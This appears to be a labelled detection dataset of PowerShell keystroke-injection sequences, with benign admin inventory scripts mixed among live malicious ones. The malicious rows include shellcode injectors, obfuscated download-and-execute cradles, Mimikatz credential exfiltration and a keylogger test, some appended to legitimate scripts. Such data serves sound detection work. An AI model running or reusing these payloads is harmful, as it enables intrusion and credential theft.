"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_85n39dj2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Write-Host ""Starting software_inventory section 2."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.478005e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install kubernetes-cli enter A enter enter enter,0,0,0.9999604,3.9634924e-05
"win+r enter powershell enter enter enter powershell ""(NeW-oBJecT sySTeM.io.StReaMreadER((NeW-oBJecT systeM.io.cOMPrEsSIon.defLatesTReam([sYStEM.io.MemOrYStrEAM][cOnVErt]::froMbaSE64sTRINg( 'BcExDoAgDAXQnVOwAYOwe5sCjdaQXyONeHzfc8Kfj+C1ab24mQdbXlzbEIal3HVhKPVpj+CI4TS7516K4OXZNCuGgAsRheTcDw==') , [IO.comPReSsiON.CoMPrESSiOnmodE]::DEcomPReSS) ), [SYSteM.TeXt.ENcodING]::ascIi)).READToEND( ) | .( $PShOME[21]+$PShOmE[30]+'x')"" enter [decoded_payloads] enter [decoded:from_base64_string] enter iex (new-object net.webclient).downloadstring('https://invesco.online/aaa') enter enter",1,1,5.6977475e-05,0.999943
"win+r enter powershell enter enter enter function Unlock-CIisConfigurationSection enter { enter enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [Parameter(Mandatory=$true)] enter [string[]] enter $SectionPath enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $SectionPath | enter ForEach-Object { enter $section = Get-CIisConfigurationSection -SectionPath $_ enter $section.OverrideMode = 'Allow' enter if( $pscmdlet.ShouldProcess( $_, 'unlocking IIS configuration section' ) ) enter { enter $section.CommitChanges() enter } enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.9775874e-05,0.9999403
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0xdd,0x68,0x19,0x6f,0xd9,0xcd,0xd9,0x74,0x24,0xf4,0x5f,0x2b,0xc9,0xb1,0x4b,0x31,0x57,0x15,0x03,0x57,0x15,0x83,0xc7,0x04,0xe2,0x28,0x94,0xf1,0xed,0xd2,0x65,0x02,0x92,0x5b,0x80,0x33,0x92,0x3f,0xc0,0x64,0x22,0x34,0x84,0x88,0xc9,0x18,0x3d,0x1a,0xbf,0xb4,0x32,0xab,0x0a,0xe2,0x7d,0x2c,0x26,0xd6,0x1c,0xae,0x35,0x0a,0xff,0x8f,0xf5,0x5f,0xfe,0xc8,0xe8,0xad,0x52,0x80,0x67,0x03,0x43,0xa5,0x32,0x9f,0xe8,0xf5,0xd3,0xa7,0x0d,0x4d,0xd5,0x86,0x83,0xc5,0x8c,0x08,0x25,0x09,0xa5,0x01,0x3d,0x4e,0x80,0xd8,0xb6,0xa4,0x7e,0xdb,0x1e,0xf5,0x7f,0x77,0x5f,0x39,0x72,0x86,0xa7,0xfe,0x6d,0xfd,0xd1,0xfc,0x10,0x05,0x26,0x7e,0xcf,0x80,0xbd,0xd8,0x84,0x32,0x1a,0xd8,0x49,0xa4,0xe9,0xd6,0x26,0xa3,0xb6,0xfa,0xb9,0x60,0xcd,0x07,0x31,0x87,0x02,0x8e,0x01,0xa3,0x86,0xca,0xd2,0xca,0x9f,0xb6,0xb5,0xf3,0xc0,0x18,0x69,0x51,0x8a,0xb5,0x7e,0xe8,0xd1,0xd1,0xb3,0xc0,0xe9,0x21,0xdc,0x53,0x99,0x13,0x43,0xcf,0x35,0x18,0x0c,0xc9,0xc2,0x5f,0x27,0xad,0x5d,0x9e,0xc8,0xcd,0x74,0x65,0x9c,0x9d,0xee,0x4c,0x9d,0x76,0xef,0x71,0x48,0xd8,0xbf,0xdd,0x23,0x98,0x6f,0x9e,0x93,0x70,0x7a,0x11,0xcb,0x60,0x85,0xfb,0x64,0x0a,0x7f,0x6c,0x4b,0x62,0x7e,0xa5,0x23,0x70,0x81,0x2a,0x2e,0xfd,0x67,0x3e,0x5e,0xab,0x30,0xd7,0xc7,0xf6,0xcb,0x46,0x07,0x2d,0xb6,0x49,0x83,0xc7,0x46,0x07,0x64,0xa2,0x54,0x70,0x4b,0x4c,0xa5,0x81,0xde,0x4c,0xcf,0x85,0x48,0x1b,0x67,0x84,0xad,0x6b,0x28,0x77,0x98,0xe8,0x2f,0x87,0x5d,0x07,0x44,0xbe,0xcb,0x97,0x33,0xbf,0x1b,0x17,0xc4,0xe9,0x71,0x17,0xac,0x4d,0x22,0x44,0xc9,0x91,0xff,0xf9,0x42,0x04,0x00,0xab,0x37,0x8f,0x68,0x51,0x61,0xe7,0x36,0xaa,0x44,0x7b,0x30,0x54,0x19,0xbf,0xc0,0x97,0xcc,0xf9,0xb6,0xfe,0xcc,0xbd,0xc9,0xb5,0x71,0x97,0x43,0xb5,0x26,0xe7,0x41;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2131323e-05,0.9999479
"win+r enter powershell enter enter enter function Invoke-PortScan { enter <# enter .SYNOPSIS enter Nihsang payload which Scan IP-Addresses, Ports and HostNames enter enter .DESCRIPTION enter Scan for IP-Addresses, HostNames and open Ports in your Network. enter enter .PARAMETER StartAddress enter StartAddress Range enter enter .PARAMETER EndAddress enter EndAddress Range enter enter .PARAMETER ResolveHost enter Resolve HostName enter enter .PARAMETER ScanPort enter Perform a PortScan enter enter .PARAMETER Ports enter Ports That should be scanned, default values are: 21,22,23,53,69,71,80,98,110,139,111, enter 389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389, enter 5801,5900,5555,5901 enter enter .PARAMETER TimeOut enter Time (in MilliSeconds) before TimeOut, Default set to 100 enter enter .EXAMPLE enter PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 enter enter .EXAMPLE enter PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost enter enter .EXAMPLE enter PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort enter Use above to do a port scan on default ports. enter enter .EXAMPLE enter PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort -TimeOut 500 enter enter .EXAMPLE enter PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.10.254 -ResolveHost -ScanPort -Port 80 enter enter .LINK enter http://www.truesec.com enter http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx enter https://github.com/samratashok/nishang enter enter .NOTES enter Goude 2012, TrueSec enter #> enter [CmdletBinding()] Param( enter [parameter(Mandatory = $true, Position = 0)] enter [ValidatePattern(""\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b"")] enter [string] enter $StartAddress, enter enter [parameter(Mandatory = $true, Position = 1)] enter [ValidatePattern(""\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b"")] enter [string] enter $EndAddress, enter enter [switch] enter $ResolveHost, enter enter [switch] enter $ScanPort, enter enter [int[]] enter $Ports = @(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901), enter enter [int] enter $TimeOut = 100 enter ) enter Begin { enter $ping = New-Object System.Net.Networkinformation.Ping enter } enter Process { enter foreach($a in ($StartAddress.Split(""."")[0]..$EndAddress.Split(""."")[0])) { enter foreach($b in ($StartAddress.Split(""."")[1]..$EndAddress.Split(""."")[1])) { enter foreach($c in ($StartAddress.Split(""."")[2]..$EndAddress.Split(""."")[2])) { enter foreach($d in ($StartAddress.Split(""."")[3]..$EndAddress.Split(""."")[3])) { enter write-progress -activity PingSweep -status ""$a.$b.$c.$d"" -percentcomplete (($d/($EndAddress.Split(""."")[3])) * 100) enter $pingStatus = $ping.Send(""$a.$b.$c.$d"",$TimeOut) enter if($pingStatus.Status -eq ""Success"") { enter if($ResolveHost) { enter write-progress -activity ResolveHost -status ""$a.$b.$c.$d"" -percentcomplete (($d/($EndAddress.Split(""."")[3])) * 100) -Id 1 enter $getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null) enter } enter if($ScanPort) { enter $openPorts = @() enter for($i = 1; $i -le $ports.Count;$i++) { enter $port = $Ports[($i-1)] enter write-progress -activity PortScan -status ""$a.$b.$c.$d"" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2 enter $client = New-Object System.Net.Sockets.TcpClient enter $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null) enter if($client.Connected) { enter $openPorts += $port enter } else { enter # Wait enter Start-Sleep -Milli $TimeOut enter if($client.Connected) { enter $openPorts += $port enter } enter } enter $client.Close() enter } enter } enter if($ResolveHost) { enter $hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName enter } enter # Return Object enter New-Object PSObject -Property @{ enter IPAddress = ""$a.$b.$c.$d""; enter HostName = $hostName; enter Ports = $openPorts enter } | Select-Object IPAddress, HostName, Ports enter } enter } enter } enter } enter } enter } enter End { enter } enter } enter enter",1,1,6.991256e-05,0.99993
"win+r enter powershell enter enter enter Set-StrictMode -Version Latest enter enter $TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent enter $ModuleRoot = Resolve-Path ""$TestScriptRoot\.."" enter $ModuleManifest = ""$ModuleRoot\Exfiltration\Exfiltration.psd1"" enter enter Remove-Module [E]xfiltration enter Import-Module $ModuleManifest -Force -ErrorAction Stop enter enter Describe 'Get-Keystrokes' { enter enter if (Test-Path ""$($env:TEMP)\key.log"") { Remove-Item -Force ""$($env:TEMP)\key.log"" } enter $WindowTitle = (Get-Process -Id $PID).MainWindowTitle enter enter $Shell = New-Object -ComObject wscript.shell enter $Shell.AppActivate($WindowTitle) enter enter $KeyLogger = Get-Keystrokes -PassThru enter Start-Sleep -Seconds 1 enter enter $Shell.SendKeys(""Pester`b`b`b`b`b`b"") enter $KeyLogger.Dispose() enter enter It 'Should output to file' { Test-Path ""$($env:TEMP)\key.log"" | Should Be $true } enter enter $KeyObjects = Get-Content -Path ""$($env:TEMP)\key.log"" | ConvertFrom-Csv enter enter It 'Should log keystrokes' { enter $FileLength = (Get-Item ""$($env:TEMP)\key.log"").Length enter $FileLength | Should BeGreaterThan 14 enter } enter enter It 'Should get foreground window title' { enter $KeyObjects[0].WindowTitle | Should Be $WindowTitle enter } enter enter It 'Should log time of key press' { enter $KeyTime = [DateTime]::Parse($KeyObjects[0].Time) enter $KeyTime.GetType().Name | Should Be 'DateTime' enter } enter enter It 'Should stop logging after timeout' { enter enter $Timeout = 0.05 enter $KeyLogger = Get-Keystrokes -Timeout $Timeout -PassThru enter enter Start-Sleep -Seconds 4 enter enter $KeyLogger.Runspace.RunspaceAvailability | Should Be 'Available' enter $KeyLogger.Dispose() enter } enter enter Remove-Item -Force ""$($env:TEMP)\key.log"" enter } enter enter Describe ""Get-MicrophoneAudio"" { enter enter $RecordPath = ""$env:TEMP tab est_record.wav"" enter $RecordLen = 2 enter Context 'Successful Recording' { enter BeforeEach { enter #Ensure the recording as been removed prior to testing enter Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue enter } enter enter AfterEach { enter #Remove the recording after testing enter Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue enter } enter enter It 'should record audio from the microphone and save it to a specified path' { enter $result = Get-MicrophoneAudio -Path $RecordPath -Length $RecordLen enter $result | Should Not BeNullOrEmpty enter $result.Length | Should BeGreaterThan 0 enter } enter enter } enter enter Context 'Invalid Arguments' { enter It 'should not allow invalid paths to be used' { enter { Get-MicrophoneAudio -Path ""c:\FAKEPATH\yay.wav"" -Length RecordLen} | Should Throw enter } enter } enter enter } enter enter",1,1,0.0018689353,0.9981311
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_swz9b8k8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_25.txt"") -Encoding UTF8 enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.json"") -Encoding UTF8 enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999647,3.523635e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter Rem: ####Attacker's side#### enter Rem: ### Run this on Attacker's VPS: ncat -k -l -p 80 | tee mimikatz.log enter Rem: >>>> IF THE SCRIPT DOESN'T WORK, TRY REMOVE THESE COMMENTS (i.e. starting with ""REM"") <<<< enter Delay enter Press:131+114 enter PrintLine:cmd enter Delay enter PrintLine:start C:/Windows/System32/Ribbons.scr /s enter Delay enter PrintLine:powershell -nop -noni -w 1 -Exec Bypass ""IEX (New-Object System.Net.WebClient).DownloadString('https://goo.gl/KSZT1U');Bypass-UAC -Method ucmDismMethod;"" enter Delay enter Delay enter Delay enter PrintLine:IEX (New-Object Net.WebClient).DownloadString('https://goo.gl/TzQm4N'); $port=80; $remoteHost='###ATTACKER IP###'; $Message = Invoke-Mimikatz -DumpCreds; $socket = new-object System.Net.Sock enter DUCKY_REAL_END enter",1,1,5.6502082e-05,0.9999435
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_r9eqg0s4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_25.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.437231e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_eq9r0o7j"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.json"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,2) } | enter Export-Csv -Path (Join-Path $ReportDir ""uptime_summary.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.39571e-05
"win+r enter powershell enter enter enter [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.SqlServer.SMO') | out-null enter $credential = Get-Credential enter $loginName = $credential.UserName enter $password = $credential.Password enter $Excel = New-Object -ComObject Excel.Application enter $Excel.visible = $False enter $Workbook = $Excel.Workbooks.Add() enter $srvlist = @(get-content ""C:\Users\mmessano\SQLServers.txt"") enter $c = $srvlist.Count enter $intRow = 1 enter for ($i = 4; $i -le $c; $i++) enter { enter $Workbook.Sheets.Add() enter } enter enter $a = 1 enter enter foreach ($instance in $srvlist) enter { enter $Sheet = $Workbook.Worksheets.Item($a) enter $srv = New-Object ('Microsoft.SqlServer.Management.Smo.Server') $instance enter $srv.ConnectionContext.LoginSecure = $false enter $srv.ConnectionContext.set_Login($loginName) enter $srv.ConnectionContext.set_SecurePassword($password) enter enter $Sheet.Cells.Item($intRow,1) = ""INSTANCE NAME:"" enter $Sheet.Cells.Item($intRow,1).Font.Bold = $True enter $Sheet.Cells.Item($intRow,2) = $instance enter $Sheet.Cells.Item($intRow,2).Font.Bold = $True enter $intRow += 1 enter $Sheet.Cells.Item($intRow,1) = ""VERSION:"" enter $Sheet.Cells.Item($intRow,2) = ""EDITION:"" enter $Sheet.Cells.Item($intRow,3) = ""COLLATION:"" enter $Sheet.Cells.Item($intRow,4) = ""OS VERSION:"" enter $Sheet.Cells.Item($intRow,5) = ""PLATFORM:"" enter $Sheet.Cells.Item($intRow,6) = ""PHYS MEM:"" enter $Sheet.Cells.Item($intRow,7) = ""NUM CPU:"" enter for ($col = 1; $col –le 7; $col++) enter { enter $Sheet.Cells.Item($intRow,$col).Font.Bold = $True enter $Sheet.Cells.Item($intRow,$col).Interior.ColorIndex = 48 enter $Sheet.Cells.Item($intRow,$col).Font.ColorIndex = 34 enter } enter $intRow += 1 enter enter $Sheet.Cells.Item($intRow,1) = $srv.Information.Version enter $Sheet.Cells.Item($intRow,2) = $srv.Information.Edition enter $Sheet.Cells.Item($intRow,3) = $srv.Information.Collation enter $Sheet.Cells.Item($intRow,4) = $srv.Information.OSVersion enter $Sheet.Cells.Item($intRow,5) = $srv.Information.Platform enter $Sheet.Cells.Item($intRow,6) = $srv.Information.PhysicalMemory enter $Sheet.Cells.Item($intRow,7) = $srv.Information.Processors enter enter $intRow += 2 enter enter $Sheet.Cells.Item($intRow,1) = ""DATABASES"" enter $Sheet.Cells.Item($intRow,1).Font.Bold = $True enter enter $intRow += 1 enter enter $Sheet.Cells.Item($intRow,1) = ""DATABASE NAME"" enter $Sheet.Cells.Item($intRow,2) = ""COLLATION"" enter $Sheet.Cells.Item($intRow,3) = ""COMPATIBILITY LEVEL"" enter $Sheet.Cells.Item($intRow,4) = ""AUTOSHRINK"" enter $Sheet.Cells.Item($intRow,5) = ""RECOVERY MODEL"" enter $Sheet.Cells.Item($intRow,6) = ""SIZE (MB)"" enter $Sheet.Cells.Item($intRow,7) = ""SPACE AVAILABLE (MB)"" enter for ($col = 1; $col –le 7; $col++) enter { enter $Sheet.Cells.Item($intRow,$col).Font.Bold = $True enter $Sheet.Cells.Item($intRow,$col).Interior.ColorIndex = 48 enter $Sheet.Cells.Item($intRow,$col).Font.ColorIndex = 34 enter } enter $intRow += 1 enter enter $dbs = $srv.Databases enter ForEach ($db in $dbs) enter { enter enter $dbSpaceAvailable = $db.SpaceAvailable/1KB enter enter $dbSpaceAvailable = ""{0:N3}"" -f $dbSpaceAvailable enter $Sheet.Cells.Item($intRow, 1) = $db.Name enter $Sheet.Cells.Item($intRow, 2) = $db.Collation enter $Sheet.Cells.Item($intRow, 3) = $db.CompatibilityLevel enter enter if ($db.AutoShrink -eq ""True"") enter { enter $fgColor = 3 enter } enter else enter { enter $fgColor = 0 enter } enter $Sheet.Cells.Item($intRow, 4) = $db.AutoShrink enter $Sheet.Cells.item($intRow, 4).Interior.ColorIndex = $fgColor enter $Sheet.Cells.Item($intRow, 5) = $db.RecoveryModel enter $Sheet.Cells.Item($intRow, 6) = ""{0:N3}"" -f $db.Size enter enter if ($dbSpaceAvailable -lt 1.00) enter { enter $fgColor = 3 enter } enter else enter { enter $fgColor = 0 enter } enter $Sheet.Cells.Item($intRow, 7) = $dbSpaceAvailable enter $Sheet.Cells.item($intRow, 7).Interior.ColorIndex = $fgColor enter enter $intRow += 1 enter enter } enter $Sheet.UsedRange.EntireColumn.AutoFit() enter $name = $instance -replace(""\\"", ""-"") enter $Sheet.Name = $name enter $intRow = 1 enter $a += 1 enter } enter enter $xlExcel8 = 56 enter $timeStamp = Get-Date -Format ""yyyyMMdd_HH_mm"" enter $fileName = ""C:\Dexma\logs\ServerInfo_"" + $timeStamp + "".xls"" enter $Workbook.SaveAs($fileName, $xlExcel8) enter $Excel.Quit enter [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel) enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.3779702e-05,0.99994624
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_tsy2xpnq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name ""*network*"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_service_name_pattern.csv"") -NoTypeInformation enter Write-Host ""Starting disk_checks section 2."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.444857e-05
powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAH enter QAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAG enter cAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG4AdABhAGMAdABsAGkAbgBrAC4AdABvAHAALwBpAG4AZABlAH enter gALgBwAGgAcAAiACkA enter,1,1,6.0186783e-05,0.9999398
"win+r enter powershell enter enter enter [CmdletBinding()] enter Param( enter [Parameter(Mandatory = $True, Position = 0)] enter [string]$ReleaseDate, enter enter [Parameter(Mandatory = $True, Position = 1)] enter [string]$ReleaseVersion, enter enter [Parameter(Mandatory = $False, Position = 2)] enter [string]$PathToRepo enter ) enter function UpdateCurrentDoc([string]$PathToCurrentDoc, [string]$ModuleVersion) enter { enter enter $service = (Get-Item -Path ""$PathToCurrentDoc\..\.."").Name enter $content = Get-Content $PathToCurrentDoc -Encoding UTF8 enter $found = $False enter $changes = @() enter for ($idx = 1; $idx -lt $content.Length; $idx++) enter { enter if ($found -and $content[$idx] -like "" enter { enter $found = $False enter } enter elseif ($found -and $changes.Length -eq 0) enter { enter $changes += "" enter $changes += """" enter $changes += $content[$idx] enter } enter elseif ($found) enter { enter $changes += $content[$idx] enter } enter if ($content[$idx - 1] -eq "" enter { enter $found = $True enter } enter } enter if ($changes.Length -gt 0) enter { enter enter $end = $ModuleVersion.IndexOf(""."") enter $ModuleVersion = ""$($ModuleVersion.Substring(0, $end)).0.0"" enter $newContent = New-Object string[] ($content.Length + 2) enter enter $buffer = 0 enter for ($idx = 0; $idx -lt $content.Length; $idx++) enter { enter if ($content[$idx] -eq "" enter { enter $newContent[$idx] = "" enter $newContent[$idx + 1] = """" enter $newContent[$idx + 2] = "" enter enter $buffer = 2 enter $idx++ enter } enter enter $newContent[$idx + $buffer] = $content[$idx] enter } enter $result = $newContent -join ""`r`n"" enter $tempFile = Get-Item $PathToCurrentDoc enter enter [System.IO.File]::WriteAllText($tempFile.FullName, $result, [Text.Encoding]::UTF8) enter } enter enter return $changes enter } enter function GetModuleVersion([string]$PathToModule) enter { enter return (Test-ModuleManifest -Path $PathToModule).Version.ToString() enter } enter function UpdateARMBreakingChangeDocs([string]$PathToServices) enter { enter enter $docs = Get-ChildItem -Path $PathToServices -Recurse | Where { $_.Attributes -match ""Directory"" } | Where { $_.Name -eq ""documentation"" } enter $allChanges = @() enter foreach ($doc in $docs) enter { enter $currentDocPath = ""$($doc.FullName)\current-breaking-changes.md"" enter $upcomingDocPath = ""$($doc.FullName)\upcoming-breaking-changes.md"" enter enter $Service = Get-Item -Path ""$($doc.FullName)\.."" enter enter $serviceName = $Service.Name enter enter if ($serviceName -eq ""AzureBackup"") { $serviceName = ""Backup"" } enter if ($serviceName -eq ""AzureBatch"") { $serviceName = ""Batch"" } enter enter $modulePath = ""$PathToRepo\artifacts\Debug\Az.$serviceName\Az.$serviceName.psd1"" enter enter $moduleVersion = GetModuleVersion -PathToModule $modulePath enter $changes = UpdateCurrentDoc -PathToCurrentDoc $currentDocPath -ModuleVersion $moduleVersion enter if ($changes.Length -gt 0) enter { enter $allChanges += $changes enter } enter } enter return $allChanges enter } enter function UpdateBreakingChangeDoc([string]$PathToDoc, [string[]]$ChangesToAdd) enter { enter enter $content = Get-Content -Path $PathToDoc -Encoding UTF8 enter $size = $content.Length + $ChangesToAdd.Length + 2 enter $newContent = New-Object string[] $size enter $newContent[0] = "" enter $newContent[1] = """" enter enter $buffer = 2 enter for ($idx = 0; $idx -lt $ChangesToAdd.Length; $idx++) enter { enter $newContent[$idx + $buffer] = $ChangesToAdd[$idx] enter } enter enter $buffer += $ChangesToAdd.Length enter for ($idx = 0; $idx -lt $content.Length; $idx++) enter { enter $newContent[$idx + $buffer] = $content[$idx] enter } enter $result = $newContent -join ""`r`n"" enter $tempFile = Get-Item $PathToDoc enter enter [System.IO.File]::WriteAllText($tempFile.FullName, $result, [Text.Encoding]::UTF8) enter } enter if (!$PathToRepo) enter { enter $PathToRepo = ""$PSScriptRoot\.."" enter } enter $ResourceManagerChanges = UpdateARMBreakingChangeDocs -PathToServices $PathToRepo\src enter enter $allChanges = @() enter if ($ResourceManagerChanges.Length -gt 0) enter { enter $allChanges += $ResourceManagerChanges enter } enter UpdateBreakingChangeDoc -PathToDoc $PathToDoc -ChangesToAdd $allChanges enter enter",0,0,0.9561217,0.043878388
"win+r powershell enter [SYsTem.Net.SERViCePointManaGeR]::EXPEct100ContinUe = 0;$wC=NEW-OBjECt SystEm.Ne enter t.WEBCliENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like G enter ecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$ enter true};$WC.HEaDers.AdD('User-Agent',$u);$wC.PROXY = [System.NeT.WebREqueST]::DeFa enter UlTWeBPROXy;$wC.PROXy.CReDeNtiaLs = [SysTEm.NeT.CrEDentiAlCAChe]::DEFauLtNEtWoRK enter CrEDentIAlS;$K='Ix]<!QdH%/$E^|6G3`>B4k8T?yfjA_[ enter enter",1,1,5.4574804e-05,0.9999454
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_a5w2d1h9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name wuauserv,bits -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4170916e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_izudwkvv"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-Service -Name wuauserv,bits,cryptsvc -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.txt"") -Encoding UTF8 enter",0,0,0.9999653,3.4729608e-05
